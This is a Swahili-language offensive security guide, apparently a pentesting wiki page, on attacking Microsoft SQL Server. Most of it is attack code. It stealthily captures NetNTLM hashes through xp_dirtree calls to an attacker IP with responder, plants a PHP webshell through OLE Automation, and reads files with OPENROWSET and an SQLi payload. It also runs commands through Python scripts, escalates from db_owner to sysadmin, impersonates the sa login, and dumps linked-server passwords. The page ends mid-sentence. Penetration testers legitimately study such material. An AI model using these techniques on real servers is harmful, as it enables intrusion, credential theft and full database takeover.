Taarifa Msingi
Kutoka wikipedia:
Microsoft SQL Server ni mfumo wa usimamizi wa database wa uhusiano ulioundwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyotakiwa na programu nyingine—ambazo zinaweza kukimbia kwenye kompyuta ile ile au kwenye kompyuta nyingine kwenye mtandao (ikiwa ni pamoja na Mtandao).
Bandari ya chaguo: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
Majedwali ya Mfumo wa MS-SQL ya Kimsingi
- Database ya msingi: Hii ni database muhimu kwani inakamata maelezo yote ya kiwango cha mfumo kwa kifaa cha SQL Server.
- Database ya msdb: SQL Server Agent hutumia database hii kusimamia ratiba za tahadhari na kazi.
- Database ya mfano: Inafanya kazi kama kielelezo kwa kila database mpya kwenye kifaa cha SQL Server, ambapo mabadiliko yoyote kama vile ukubwa, usanidi, mfano wa kupona, na zaidi yanafanana kwenye databases zilizoundwa hivi karibuni.
- Database ya Rasilimali: Database isiyoweza kuhaririwa ambayo inahifadhi vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vimehifadhiwa kimwili kwenye database ya Rasilimali, kwa mantiki vinaonyeshwa kwenye schema ya sys ya kila database.
- Database ya tempdb: Inafanya kazi kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo ya kati.

Pata Ruhusa
- Inayoweza Kusimbwa: Imetajwa kama rasilimali zinazosimamiwa na SQL Server kwa ajili ya kudhibiti ufikiaji. Hizi hugawanywa katika:
- Server - Mifano ni pamoja na maktaba za data, logins, endpoints, vikundi vya upatikanaji, na majukumu ya seva.
- Database - Mifano hujumuisha majukumu ya maktaba ya data, majukumu ya programu, schema, vyeti, katalogi za maandishi kamili, na watumiaji.
- Schema - Inajumuisha meza, maoni, taratibu, kazi, visawe, n.k.
- Ruhusa: Zinahusishwa na inayoweza kusimbwa ya SQL Server, ruhusa kama vile ALTER, CONTROL, na CREATE zinaweza kutolewa kwa mkuu. Usimamizi wa ruhusa hufanyika katika viwango viwili:
- Viwango vya Seva kwa kutumia logins
- Viwango vya Maktaba ya Data kwa kutumia watumiaji
- Mkuu: Istilahi hii inahusu kifaa ambacho kimetolewa ruhusa ya inayoweza kusimbwa. Wakuu kwa kiasi kikubwa ni pamoja na logins na watumiaji wa maktaba ya data. Udhibiti wa ufikiaji wa inayoweza kusimbwa hufanywa kupitia kutoa au kukataa ruhusa au kwa kuwaingiza logins na watumiaji katika majukumu yenye haki za ufikiaji.

Tafadhali kumbuka kwamba ili uweze kutekeleza amri, siyo tu muhimu kuwa na xp_cmdshell imezimwa, bali pia kuwa na ruhusa ya KUTEKELEZA kwenye utaratibu uliowekwa wa xp_cmdshell. Unaweza kupata ni nani (isipokuwa sysadmins) wanaweza kutumia xp_cmdshell na:
Use master
EXEC sp_helprotect 'xp_cmdshell'
{% endhint %}
# Username + Password + CMD command

Pora hashi ya NetNTLM / Shambulio la kusambaza
Unapaswa kuanzisha seva ya SMB ili kukamata hashi inayotumiwa katika uwakiki (impacket-smbserver au responder kwa mfano).
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
{% hint style="warning" %} Unaweza kuangalia ni nani (isipokuwa sysadmins) ana ruhusa ya kuendesha hizo kazi za MSSQL kwa:
Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
{% endhint %}
Kwa kutumia zana kama responder au Inveigh inawezekana kuiba hash ya NetNTLM.
Unaweza kuona jinsi ya kutumia zana hizi katika:

{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} abusing-ad-mssql.md {% endcontent-ref %}
Andika Faili
Kuandika faili kwa kutumia MSSQL, tunahitaji kuwezesha Taratibu za Ole Automation, ambayo inahitaji mamlaka ya msimamizi, na kisha kutekeleza taratibu zilizohifadhiwa ili kuunda faili:
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
Soma faili kwa OPENROWSET
Kwa chaguo-msingi, MSSQL inaruhusu faili kusomwa kwenye faili yoyote kwenye mfumo wa uendeshaji ambao akaunti ina ufikiaji wa kusoma. Tunaweza kutumia swali la SQL lifuatalo:
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
Hata hivyo, chaguo la BULK linahitaji ruhusa ya ADMINISTER BULK OPERATIONS au ADMINISTER DATABASE BULK OPERATIONS.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
Kosa-msingi wa vekta kwa SQLi:
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
RCE/Soma faili zinazotekeleza scripts (Python na R)
MSSQL inaweza kuruhusu wewe kutekeleza scripts za Python na/au R. Msimbo huu utatekelezwa na mtumiaji tofauti na yule anayetumia xp_cmdshell kutekeleza amri.
Mfano wa kujaribu kutekeleza 'R' "Hellow World!" haifanyi kazi:
Mfano wa kutumia python iliyowekwa kufanya vitendo kadhaa:
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
Soma Usajili
Microsoft SQL Server hutoa taratibu nyingi za kuhifadhi zilizopanuliwa ambazo kuruhusu wewe kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata Usajili wa Windows:
| Kawaida | Inayotambua-Instance |
|---|---|
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
| sys.xp_regwrite | sys.xp_instance_regwrite |
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
| sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
Kwa mfano zaidi angalia chanzo cha asili.
RCE na MSSQL User Defined Function - SQLHttp
Inawezekana kupakia dll ya .NET ndani ya MSSQL na kazi za desturi. Hata hivyo, hii inahitaji ufikiaji wa dbo hivyo unahitaji uhusiano na database kama sa au jukumu la Msimamizi.
Fuata kiungo hiki kuona mfano.
Njia Nyingine za RCE
Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza taratibu za kuhifadhiwa zilizoziduliwa, Majumuisho ya CLR, Kazi za SQL Server Agent, na maandishi ya nje.
Ukarabati wa Mamlaka wa MSSQL
Kutoka db_owner hadi sysadmin
Ikiwa mtumiaji wa kawaida anapewa jukumu la db_owner juu ya database iliyo milikiwa na mtumiaji wa admin (kama vile sa) na hiyo database imeboreshwa kama trustworthy, mtumiaji huyo anaweza kutumia mamlaka haya kwa privesc kwa sababu taratibu zilizohifadhiwa zinaweza kutekelezwa kama mmiliki (admin).
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
Unaweza kutumia moduli ya metasploit:
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
Au skripti ya PS:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
Uigizaji wa watumiaji wengine
SQL Server ina idhini maalum, inayoitwa IMPERSONATE, ambayo inaruhusu mtumiaji anayetekeleza kuchukua idhini za mtumiaji mwingine au kuingia mpaka muktadha urejeshwe au kikao kikome.
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
{% hint style="info" %} Ikiwa unaweza kujifanya kuwa mtumiaji, hata kama si sysadmin, unapaswa kuangalia iki mtumiaji ana upatikanaji wa databases au seva zilizounganishwa. {% endhint %}
Tafadhali kumbuka kuwa mara tu unapokuwa sysadmin unaweza kujifanya kuwa yeyote mwingine:
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
Unaweza kutekeleza shambulio hili kwa moduli ya metasploit:
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
au kwa skripti ya PS:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Kuchimba Nywila kutoka kwa Seva za SQL Server Zilizounganishwa
Mshambuliaji anaweza kuchimba nywila za Seva za SQL Server Zilizounganishwa kutoka kwa Mifano ya SQL na kuzipata kwa maandishi wazi, hivyo kupata nywila ambazo zinaweza kutumika kupata udhibiti mkubwa zaidi kwenye lengo. Skripti ya kuchimba na kufichua nywila zilizohifadhiwa kwa Seva Zilizounganishwa inaweza kupatikana hapa
Baadhi ya mahitaji na mipangilio lazima ifanywe ili kashfa hii ifanye kazi. Kwanza kabisa, lazima uwe na Haki za Msimamizi kwenye mashine, au uwezo wa kusimamia Mipangilio ya Seva ya SQL.
Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni haya yafuatayo:
- Wezesha TCP/IP kwenye mifano ya SQL Server;
- Ongeza Parameta ya Kuanza, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806.
- Wezesha uunganisho wa usimamizi wa mbali.
Ili kiotomatiki mipangilio hii, hifadhi hii ina skripti zinazohitajika. Mbali na kuwa na skripti ya powershell kwa kila hatua ya usanidi, hifadhi pia ina skripti kamili ambayo inachanganya skripti za usanidi na uchimbaji na ufichuaji wa nywila.
Kwa habari zaidi, tazama viungo vifuatavyo kuhusu shambulizi hili: Ufichuaji wa Nywila za Seva za Link za Database za MSSQL

Kupandisha Hadhi ya Mamlaka ya Kienyeji
Mtumiaji anayeendesha seva ya MSSQL atakuwa amewezesha tokeni ya mamlaka SeImpersonatePrivilege.
Huenda utaweza kupanda hadhi hadi Msimamizi kufuatia moja ya kurasa hizi 2:
